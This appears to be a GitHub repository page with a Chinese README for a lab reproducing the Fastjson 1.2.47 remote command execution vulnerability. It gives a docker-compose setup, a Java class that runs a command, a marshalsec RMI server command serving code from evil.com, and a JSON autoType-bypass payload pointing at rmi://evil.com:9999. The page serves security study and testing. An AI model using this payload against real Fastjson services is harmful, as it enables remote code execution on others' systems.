Skip to content
Branch: master
Find file History
Latest commit e41dc6e Jul 22, 2019
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
1.png rename folder name Jul 22, 2019
2.png rename folder name Jul 22, 2019
README.md fix version Jul 22, 2019
docker-compose.yml rename folder name Jul 22, 2019

README.md

Fastjson 1.2.47 远程命令执行漏洞

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个spring web项目,其中使用fastjson作为默认json解析器:

docker-compose up -d

环境启动后,访问http://your-ip:8090即可看到一个json对象被返回,我们将content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析。

漏洞复现

目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

首先编译并上传命令执行代码,如http://evil.com/TouchFile.class

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

向靶场服务器发送Payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}

可见,命令touch /tmp/success已成功执行:

更多利用方法请参考JNDI注入相关知识。

You can’t perform that action at this time.